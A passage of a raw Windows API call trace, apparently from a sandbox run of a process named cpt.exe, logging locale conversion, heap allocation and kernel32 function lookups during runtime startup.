¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽") returned 256 [0120.788] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0120.788] GetLastError () returned 0x57 [0120.789] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringEx") returned 0x76ea47f1 [0120.789] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0120.789] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x22c) returned 0x7ce230 [0120.789] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽", cchSrc=256, lpDestStr=0x7ce258, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽") returned 256 [0120.789] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽", cchWideChar=256, lpMultiByteStr=0x18fc4c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿLH¡\x84\x8cþ\x18", lpUsedDefaultChar=0x0) returned 256 [0120.789] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7ce230) returned 1 [0120.789] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7ce230 | out: hHeap=0x7b0000) returned 1 [0120.789] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cdff8) returned 1 [0120.789] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cdff8 | out: hHeap=0x7b0000) returned 1 [0120.789] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd4c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0120.789] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x22c) returned 0x7cdff8 [0120.789] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd4c, cbMultiByte=256, lpWideCharStr=0x7ce020, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽") returned 256 [0120.789] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0120.789] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x22c) returned 0x7ce230 [0120.789] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽", cchSrc=256, lpDestStr=0x7ce258, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ﷽﷽") returned 256 [0120.789] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ﷽﷽", cchWideChar=256, lpMultiByteStr=0x18fb4c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿLH¡\x84\x8cþ\x18", lpUsedDefaultChar=0x0) returned 256 [0120.789] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7ce230) returned 1 [0120.789] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7ce230 | out: hHeap=0x7b0000) returned 1 [0120.789] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cdff8) returned 1 [0120.789] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cdff8 | out: hHeap=0x7b0000) returned 1 [0120.790] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0xa4) returned 0x7cdff8 [0120.790] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fc50, nSize=0x105 | out: lpFilename="C:\\Program Files\\Common Files\\System\\cpt.exe" (normalized: "c:\\program files\\common files\\system\\cpt.exe")) returned 0x2c [0120.790] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x59) returned 0x7ce0a8 [0120.790] RtlInitializeSListHead (in: ListHead=0x5f0320 | out: ListHead=0x5f0320) [0120.790] GetLastError () returned 0x0 [0120.790] SetLastError (dwErrCode=0x0) [0120.790] GetEnvironmentStringsW () returned 0x7ce110* [0120.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=C:=C:\\Windows\\System32", cchWideChar=1436, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1436 [0120.790] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x5c0) returned 0x7cec50 [0120.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=C:=C:\\Windows\\System32", cchWideChar=1436, lpMultiByteStr=0x7cec70, cbMultiByte=1436, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=C:=C:\\Windows\\System32", lpUsedDefaultChar=0x0) returned 1436 [0120.790] FreeEnvironmentStringsW (penv=0x7ce110) returned 1 [0120.790] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0xc0) returned 0x7ce110 [0120.790] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x43) returned 0x7c93f8 [0120.791] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x5a) returned 0x7ce1d8 [0120.791] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x5b) returned 0x7ce240 [0120.791] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x60) returned 0x7ce2a8 [0120.791] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x55) returned 0x7ce310 [0120.791] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x3b) returned 0x7c3a08 [0120.791] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x48) returned 0x7c9448 [0120.791] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x38) returned 0x7c1320 [0120.791] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x31) returned 0x7ce370 [0120.791] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x49) returned 0x7ce3b0 [0120.791] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x5d) returned 0x7ce408 [0120.792] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x3c) returned 0x7c3a50 [0120.792] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x3b) returned 0x7c3a98 [0120.792] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x32) returned 0x7ce470 [0120.792] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x8d) returned 0x7ce4b0 [0120.792] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x62) returned 0x7ce548 [0120.792] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x3f) returned 0x7c3ae0 [0120.792] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x41) returned 0x7c9498 [0120.792] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x6c) returned 0x7ce5b8 [0120.792] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x36) returned 0x7ce630 [0120.792] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x3c) returned 0x7c3b28 [0120.793] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x3f) returned 0x7c3b70 [0120.793] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x48) returned 0x7c94e8 [0120.793] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x4d) returned 0x7ce670 [0120.793] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x42) returned 0x7c9538 [0120.793] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x30) returned 0x7cb388 [0120.793] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x65) returned 0x7ce6c8 [0120.793] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x3b) returned 0x7c3bb8 [0120.793] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x33) returned 0x7ce738 [0120.793] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x3a) returned 0x7c3c00 [0120.793] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x4e) returned 0x7ce778 [0120.794] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x4d) returned 0x7ce7d0 [0120.794] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x39) returned 0x7c3c48 [0120.794] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x42) returned 0x7c9588 [0120.794] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x4e) returned 0x7ce828 [0120.794] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x36) returned 0x7ce880 [0120.794] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x3c) returned 0x7c3c90 [0120.794] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x6a) returned 0x7ce8c0 [0120.794] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cec50) returned 1 [0120.794] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cec50 | out: hHeap=0x7b0000) returned 1 [0120.794] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0120.795] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b [0120.795] GetProcAddress (hModule=0x76e10000, lpProcName="FlsFree") returned 0x76e2359f [0120.795] GetProcAddress (hModule=0x76e10000, lpProcName="FlsGetValue") returned 0x76e21252 [0120.795] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0120.795] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionEx") returned 0x76e24d28 [0120.795] GetProcAddress (hModule=0x76e10000, lpProcName="InitOnceExecuteOnce") returned 0x76e3d627 [0120.795] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventExW") returned 0x76ea410b [0120.795] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSemaphoreW") returned 0x76e3ca5a [0120.795] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSemaphoreExW") returned 0x76ea4195 [0120.795] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolTimer") returned 0x76e3ee7e [0120.795] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolTimer") returned 0x7736441c [0120.796] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7738c50e [0120.796] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolTimer") returned 0x7738c381 [0120.796] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolWait") returned 0x76e3f088 [0120.796] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolWait") returned 0x773705d7 [0120.796] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolWait") returned 0x7738ca24 [0120.796] GetProcAddress (hModule=0x76e10000, lpProcName="FlushProcessWriteBuffers") returned 0x77340b8c [0120.796] GetProcAddress (hModule=0x76e10000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x773ffde8 [0120.796] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessorNumber") returned 0x77391e1d [0120.796] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSymbolicLinkW") returned 0x76e9cd11 [0120.796] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentPackageId") returned 0x0 [0120.796] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount64") returned 0x76e3eee0 [0120.796] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileInformationByHandleEx") returned 0x76e3c78f [0120.797] GetProcAddress (hModule=0x76e10000, lpProcName="SetFileInformationByHandle") returned 0x76e4cbfc [0120.797] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimePreciseAsFileTime") returned 0x0 [0120.797] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeConditionVariable") returned 0x77358456 [0120.797] GetProcAddress (hModule=0x76e10000, lpProcName="WakeConditionVariable") returned 0x773c7de4 [0120.797] GetProcAddress (hModule=0x76e10000, lpProcName="WakeAllConditionVariable") returned 0x7738409d [0120.797] GetProcAddress (hModule=0x76e10000, lpProcName="SleepConditionVariableCS") returned 0x76ea4b32 [0120.797] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeSRWLock") returned 0x77358456 [0120.797] GetProcAddress (hModule=0x76e10000, lpProcName="AcquireSRWLockExclusive") returned 0x773529f1 [0120.797] GetProcAddress (hModule=0x76e10000, lpProcName="TryAcquireSRWLockExclusive") returned 0x77364892 [0120.797] GetProcAddress (hModule=0x76e10000, lpProcName="ReleaseSRWLockExclusive") returned 0x773529ab [0120.797] GetProcAddress (hModule=0x76e10000, lpProcName="SleepConditionVariableSRW") returned 0x76ea4b74 [0120.797] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolWork") returned 0x76e3ee45 [0120.797] GetProcAddress (hModule=0x76e10000, lpProcName="SubmitThreadpoolWork") returned 0x77398491 [0120.798] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolWork") returned 0x7738d8e2 [0120.798] GetProcAddress (hModule=0x76e10000, lpProcName="CompareStringEx") returned 0x76ea46b1 [0120.798] GetProcAddress (hModule=0x76e10000, lpProcName="GetLocaleInfoEx") returned 0x76ea4751 [0120.798] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringEx") returned 0x76ea47f1 [0120.798] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x824) returned 0x7ce938 [0120.798] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0120.798] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4d18c0) returned 0x0 [0120.799] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7cb3c0 [0120.799] GetProcAddress (hModule=0x76e10000, lpProcName="AreFileApisANSI") returned 0x76ea40d1 [0120.799] LoadLibraryExW (lpLibFileName="api-ms-win-core-string-l1-1-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0120.799] GetLastError () returned 0x57 [0120.799] GetProcAddress (hModule=0x76e10000, lpProcName="CompareStringEx") returned 0x76ea46b1 [0120.799] GetProcAddress (hModule=0x76e10000, lpProcName="EnumSystemLocalesEx") returned 0x76ea424f [0120.799] LoadLibraryExW (lpLibFileName="api-ms-win-core-datetime-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0120.799] GetLastError () returned 0x57 [0120.799] GetProcAddress (hModule=0x76e10000, lpProcName="GetDateFormatEx") returned 0x76eb6676 [0120.799] GetProcAddress (hModule=0x76e10000, lpProcName="GetLocaleInfoEx") returned 0x76ea4751 [0120.799] GetProcAddress (hModule=0x76e10000, lpProcName="GetTimeFormatEx") returned 0x76eb65f1 [0120.799] GetProcAddress (hModule=0x76e10000, lpProcName="GetUserDefaultLocaleName") returned 0x76ea47c1 [0120.799] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidLocaleName") returned 0x76ea47e1 [0120.799] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-obsolete-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0120.799] GetLastError () returned 0x57 [0120.799] GetProcAddress (hModule=0x76e10000, lpProcName="LCIDToLocaleName") returned 0x76e4ced4 [0120.800] GetProcAddress (hModule=0x76e10000, lpProcName="LocaleNameToLCID") returned 0x76ea4801 [0120.800] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x44) returned 0x7c95d8 [0120.800] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x26) returned 0x7cad48 [0120.800] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cad48) returned 1 [0120.800] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cad48 | out: hHeap=0x7b0000) returned 1 [0120.800] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x26) returned 0x7cad48 [0120.800] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7cb3f8 [0120.800] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x3c) returned 0x7c3cd8 [0120.800] GetLastError () returned 0x57 [0120.800] SetLastError (dwErrCode=0x57) [0120.800] GetLastError () returned 0x57 [0120.800] SetLastError (dwErrCode=0x57) [0120.800] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0xdc) returned 0x7cfdb0 [0120.801] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x6ca) returned 0x7cfe98 [0120.801] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cfe98) returned 1 [0120.801] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cfe98 | out: hHeap=0x7b0000) returned 1 [0120.801] GetLastError () returned 0x57 [0120.801] SetLastError (dwErrCode=0x57) [0120.801] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2a) returned 0x7cb430 [0120.801] RtlAllocateHeap (HeapHandle=0x7b0000, 